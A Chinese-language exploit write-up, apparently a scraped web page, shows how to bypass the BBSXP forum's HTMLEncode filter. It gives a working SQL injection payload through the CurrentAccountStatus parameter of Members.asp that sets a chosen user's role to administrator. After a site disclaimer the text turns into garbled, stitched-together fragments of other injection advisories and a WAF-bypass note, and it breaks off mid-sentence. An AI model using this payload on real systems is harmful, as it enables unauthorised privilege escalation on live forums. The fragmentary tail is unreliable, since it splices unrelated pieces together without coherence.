时间:2021-05-25
漏洞分析:
官方最新过滤函数HTMLEncode,这次过滤了字符* ,再一次绕过过滤注射
Function HTMLEncode(fString)
fString=Replace(fString,CHR(9),"")
fString=Replace(fString,CHR(13),"")
fString=Replace(fString,CHR(22),"")
fString=Replace(fString,CHR(38),"&") '“&”
fString=Replace(fString,CHR(32)," ") '“ ”
fString=Replace(fString,CHR(34),""") '“"”
fString=Replace(fString,CHR(39),"'") '“'”
fString=Replace(fString,CHR(42),"*") '“*”
fString=Replace(fString,CHR(44),",") '“,”
fString=Replace(fString,CHR(45)&CHR(45),"--") '“--”
fString=Replace(fString,CHR(60),"<") '“<”
fString=Replace(fString,CHR(62),">") '“>”
fString=Replace(fString,CHR(92),"\") '“\”
fString=Replace(fString,CHR(59),";") '“;”
fString=Replace(fString,CHR(10),"<br>")
fString=ReplaceText(fString,"([])([a-z0-9]*);","$1$2;")
if SiteConfig("BannedText")<>"" then fString=ReplaceText(fString,"("&SiteConfig("BannedText")&")",string(len("&$1&"),"*"))
if IsSqlDataBase=0 then '过滤片假名(日文字符)[\u30A0-\u30FF] by yuzi
fString=escape(fString)
fString=ReplaceText(fString,"%u30([A-F][0-F])","0$1;")
fString=unescape(fString)
end if
HTMLEncode=fString
End Function
Members.asp漏洞文件作为测试:
SearchType=HTMLEncode(Request("SearchType")) //第8行
SearchText=HTMLEncode(Request("SearchText"))
SearchRole=RequestInt("SearchRole")
CurrentAccountStatus=HTMLEncode(Request("CurrentAccountStatus"))
......
if SearchText<>"" then item=item&" and ("&SearchType&" like '%"&SearchText&"%')" //第18行
......
if CurrentAccountStatus <> "" then item=item&" and UserAccountStatus="&CurrentAccountStatus&"" //第22行
if item<>"" then item=" where "&mid(item,5)
......
TotalCount=Execute("Select count(UserID) From ["&TablePrefix&"Users]"&item)(0) '获取数据数量
//第54行
看个sql语句:
select * from bbsxp_users where userid=(1)update[bbsxp_users]set[userroleid]=(1)where(username=0x79006C003600330036003400)
变量userid绕过过滤成功执行了update
同理构造:
SearchType=1
SearchText=1
CurrentAccountStatus=(1)update[bbsxp_users]set[userroleid]=(1)where(username=0x79006C003600330036003400)
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
受影响系统:BBSXP7.3BBSXP2008漏洞文件:New.asp代码分析:Sort=HTMLEncode(Request("Sort"))//第24行if
影响版本:phpcmsv9blind 官方网站:http:// 漏洞类型:SQL注入 漏洞描述:phpcmsv9blind参数过滤存在SQL注入漏洞。
漏洞出现在/plug/productbuy.asp对接收的参数id没有进行过滤而导致的注入漏洞注入后的页面有跳转,所以要快,建议用快捷键复制爆用户名/plug/
注入漏洞代码和分析复制代码代码如下:
一、绕过waf思路从第一步起,一点一点去分析,然后绕过。1、过滤and,orpreg_match('/(and|or)/i',$id)Filteredinjec